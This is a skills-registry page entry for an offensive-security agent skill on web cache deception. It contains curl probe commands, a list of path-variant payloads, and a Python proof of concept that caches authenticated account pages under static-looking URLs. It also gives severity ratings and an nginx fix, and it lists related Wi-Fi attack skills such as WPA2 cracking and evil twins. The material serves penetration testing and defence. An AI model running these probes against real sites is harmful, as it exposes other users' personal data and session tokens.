[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFNDQ28TQKDMB90PX8PFTY":3,"skill-same:01M7DFNDQ28TQKDMB90PX8PFTY":49},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":14,"repositoryHtmlUrl":32,"repositoryHomepageUrl":6,"ownerHtmlUrl":33,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":34,"install":35,"resources":48},"01M7DFNDQ28TQKDMB90PX8PFTY","cache-deception",null,"Web cache deception — trick CDN\u002Fproxy into caching authenticated responses under unauthenticated URLs, exposing PII to any visitor.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fcache-deception\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: cache-deception\ndescription: Web cache deception — trick CDN\u002Fproxy into caching authenticated responses under unauthenticated URLs, exposing PII to any visitor.\nmetadata:\n  when_to_use: \"cache deception cdn cloudfront cloudflare akamai cache poisoning path-normalization\"\n  mitre_attack: T1565\n  subdomain: cache\n  upstream_ref: skills\u002F_corpus\u002Fpayloads\u002FWeb Cache Deception\u002F\n---\n\n# Web Cache Deception\n\nReverse proxies \u002F CDNs cache based on URL extension or path patterns\n(`.css`, `.jpg`, `\u002Fstatic\u002F`). If the origin server returns the\nauthenticated page for any path, attacker tricks the cache into storing\nprivate content under a public-cacheable URL.\n\n## 1. The classic\n```\nGET \u002Faccount.css     ← attacker visits, in their own session\n                       Cache miss → origin returns \u002Faccount (authenticated, w\u002F user cookies in URL or response body)\n                       Cache stores response keyed on \u002Faccount.css\n\nGET \u002Faccount.css     ← victim or any unauth visitor\n                       Cache HIT → serves the attacker-cached, victim-data response\n```\n\n## 2. Probe the deception\n\n```bash\n# Step 1: visit authenticated page w\u002F a fake .css path\ncurl -i -H \"Cookie: session=$AUTH\" $TARGET\u002Faccount.css | grep -E '^(HTTP|Cache|X-Cache)'\n\n# Look for:\n# Cache-Control: public, max-age=...\n# X-Cache: MISS (then HIT next time)\n# Content-Length consistent w\u002F \u002Faccount page (not 404)\n\n# Step 2: from unauth session\ncurl -i $TARGET\u002Faccount.css | grep -E 'HTTP|Cache' && diff_response_bodies\n```\n\nIf the second request returns the AUTHENTICATED content of step 1 → deception confirmed.\n\n## 3. Variants\n\n| Variant | Path |\n|---|---|\n| `.css` suffix | `\u002Faccount\u002Ffoo.css` |\n| `.jpg` suffix | `\u002Faccount.jpg` |\n| `\u002Fstatic\u002F` prefix | `\u002Fstatic\u002F..\u002Faccount` |\n| Multiple slashes | `\u002Faccount\u002F\u002F.css` |\n| URL-encoded `;` | `\u002Faccount%3B.css` |\n| Trailing semi-segment | `\u002Faccount;foo.css` |\n| Double extension | `\u002Faccount.html.css` |\n| Path parameter | `\u002Faccount.css\u002Fanything` |\n\nEach cache impl handles these differently. Cloudflare \u002F Fastly \u002F Akamai\n\u002F Varnish all have known quirks.\n\n## 4. Cache poisoning vs cache deception\n- **Deception** — attacker forces cache of victim's data, served to others\n- **Poisoning** — attacker injects content into a normal cached resource\n\nThis skill covers deception. Cache poisoning is a separate (overlapping) class.\n\n## 5. Tools\n- **Param Miner** (Burp plugin) — unkeyed param discovery\n- `webcache.cyberxecution.com` for quick suffix probes\n- Manual via Burp Repeater\n\n## 6. PoC\n\n```python\nimport requests\nsess = requests.Session()\nsess.cookies['session'] = 'AUTH_COOKIE'\n\n# 1. Force cache of authenticated response\nr1 = sess.get(f\"{TARGET}\u002Faccount.css\")\nprint(f\"step1 status={r1.status_code} body_hash={hash(r1.text)}\")\n\n# 2. Hit same URL unauth\nr2 = requests.get(f\"{TARGET}\u002Faccount.css\")\nprint(f\"step2 status={r2.status_code} body_hash={hash(r2.text)}\")\nassert r2.text != \"404 not found\"\nassert \"private_data\" in r2.text   # adjust to whatever marker your auth page has\n```\n\n## 7. Severity\n\n| Bug | Severity |\n|---|---|\n| Cache deception exposing PII (email, name, balance) | Critical 8-9 |\n| Cache deception of session token | Critical 9.8 (ATO) |\n| Cache deception of public-only data | Informational |\n| Cache poisoning of script content | Critical 9.0 (RCE-adjacent in browser context) |\n\n## 8. Defender\n\n```nginx\n# Nginx — prefix-based cache keys, NOT extension-based\nlocation \u002F {\n  proxy_pass http:\u002F\u002Forigin;\n  proxy_cache_key \"$scheme$proxy_host$uri\";\n  add_header Cache-Control \"private, no-store\" always;\n}\n\n# Cloudflare — set Cache Rules to require Vary: Cookie + Authorization\n# AND match by Content-Type, not URL extension\n```\n\nApps should send `Cache-Control: private, no-store` on every authenticated\nresponse to defeat both deception and poisoning.\n\n## Cross-references\n- Upstream catalog: `skills\u002F_corpus\u002Fpayloads\u002FWeb Cache Deception\u002F`\n- Smuggling overlap: `skills\u002Fexploit\u002Fweb\u002Fsmuggling.md`\n\n## Known exemplars\n- Omer Gil's original PayPal disclosure (2017)\n- Multiple HackerOne reports $5-15k for cache deception on enterprise SaaS\n- 2023: notable Stripe disclosure of cache deception leading to PII leak\n","# Web Cache Deception\n\nReverse proxies \u002F CDNs cache based on URL extension or path patterns\n(`.css`, `.jpg`, `\u002Fstatic\u002F`). If the origin server returns the\nauthenticated page for any path, attacker tricks the cache into storing\nprivate content under a public-cacheable URL.\n\n## 1. The classic\n```\nGET \u002Faccount.css     ← attacker visits, in their own session\n                       Cache miss → origin returns \u002Faccount (authenticated, w\u002F user cookies in URL or response body)\n                       Cache stores response keyed on \u002Faccount.css\n\nGET \u002Faccount.css     ← victim or any unauth visitor\n                       Cache HIT → serves the attacker-cached, victim-data response\n```\n\n## 2. Probe the deception\n\n```bash\n# Step 1: visit authenticated page w\u002F a fake .css path\ncurl -i -H \"Cookie: session=$AUTH\" $TARGET\u002Faccount.css | grep -E '^(HTTP|Cache|X-Cache)'\n\n# Look for:\n# Cache-Control: public, max-age=...\n# X-Cache: MISS (then HIT next time)\n# Content-Length consistent w\u002F \u002Faccount page (not 404)\n\n# Step 2: from unauth session\ncurl -i $TARGET\u002Faccount.css | grep -E 'HTTP|Cache' && diff_response_bodies\n```\n\nIf the second request returns the AUTHENTICATED content of step 1 → deception confirmed.\n\n## 3. Variants\n\n| Variant | Path |\n|---|---|\n| `.css` suffix | `\u002Faccount\u002Ffoo.css` |\n| `.jpg` suffix | `\u002Faccount.jpg` |\n| `\u002Fstatic\u002F` prefix | `\u002Fstatic\u002F..\u002Faccount` |\n| Multiple slashes | `\u002Faccount\u002F\u002F.css` |\n| URL-encoded `;` | `\u002Faccount%3B.css` |\n| Trailing semi-segment | `\u002Faccount;foo.css` |\n| Double extension | `\u002Faccount.html.css` |\n| Path parameter | `\u002Faccount.css\u002Fanything` |\n\nEach cache impl handles these differently. Cloudflare \u002F Fastly \u002F Akamai\n\u002F Varnish all have known quirks.\n\n## 4. Cache poisoning vs cache deception\n- **Deception** — attacker forces cache of victim's data, served to others\n- **Poisoning** — attacker injects content into a normal cached resource\n\nThis skill covers deception. Cache poisoning is a separate (overlapping) class.\n\n## 5. Tools\n- **Param Miner** (Burp plugin) — unkeyed param discovery\n- `webcache.cyberxecution.com` for quick suffix probes\n- Manual via Burp Repeater\n\n## 6. PoC\n\n```python\nimport requests\nsess = requests.Session()\nsess.cookies['session'] = 'AUTH_COOKIE'\n\n# 1. Force cache of authenticated response\nr1 = sess.get(f\"{TARGET}\u002Faccount.css\")\nprint(f\"step1 status={r1.status_code} body_hash={hash(r1.text)}\")\n\n# 2. Hit same URL unauth\nr2 = requests.get(f\"{TARGET}\u002Faccount.css\")\nprint(f\"step2 status={r2.status_code} body_hash={hash(r2.text)}\")\nassert r2.text != \"404 not found\"\nassert \"private_data\" in r2.text   # adjust to whatever marker your auth page has\n```\n\n## 7. Severity\n\n| Bug | Severity |\n|---|---|\n| Cache deception exposing PII (email, name, balance) | Critical 8-9 |\n| Cache deception of session token | Critical 9.8 (ATO) |\n| Cache deception of public-only data | Informational |\n| Cache poisoning of script content | Critical 9.0 (RCE-adjacent in browser context) |\n\n## 8. Defender\n\n```nginx\n# Nginx — prefix-based cache keys, NOT extension-based\nlocation \u002F {\n  proxy_pass http:\u002F\u002Forigin;\n  proxy_cache_key \"$scheme$proxy_host$uri\";\n  add_header Cache-Control \"private, no-store\" always;\n}\n\n# Cloudflare — set Cache Rules to require Vary: Cookie + Authorization\n# AND match by Content-Type, not URL extension\n```\n\nApps should send `Cache-Control: private, no-store` on every authenticated\nresponse to defeat both deception and poisoning.\n\n## Cross-references\n- Upstream catalog: `skills\u002F_corpus\u002Fpayloads\u002FWeb Cache Deception\u002F`\n- Smuggling overlap: `skills\u002Fexploit\u002Fweb\u002Fsmuggling.md`\n\n## Known exemplars\n- Omer Gil's original PayPal disclosure (2017)\n- Multiple HackerOne reports $5-15k for cache deception on enterprise SaaS\n- 2023: notable Stripe disclosure of cache deception leading to PII leak\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27,"upstream_ref":28},"cache","cache deception cdn cloudfront cloudflare akamai cache poisoning path-normalization","T1565","skills\u002F_corpus\u002Fpayloads\u002FWeb Cache Deception\u002F","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fcache-deception","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":36,"prompt":46,"zipAvailable":47},[37,40,43],{"tool":38,"command":39},"npx","npx skills add Akapi895\u002Fraptix --skill cache-deception",{"tool":41,"command":42},"bunx","bunx skills add Akapi895\u002Fraptix --skill cache-deception",{"tool":44,"command":45},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill cache-deception","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fcache-deception\u002FSKILL.md",true,[],[50,57,64,71,78,85],{"skillNo":51,"name":52,"nameZh":6,"description":53,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":54,"categories":55,"keywords":56,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]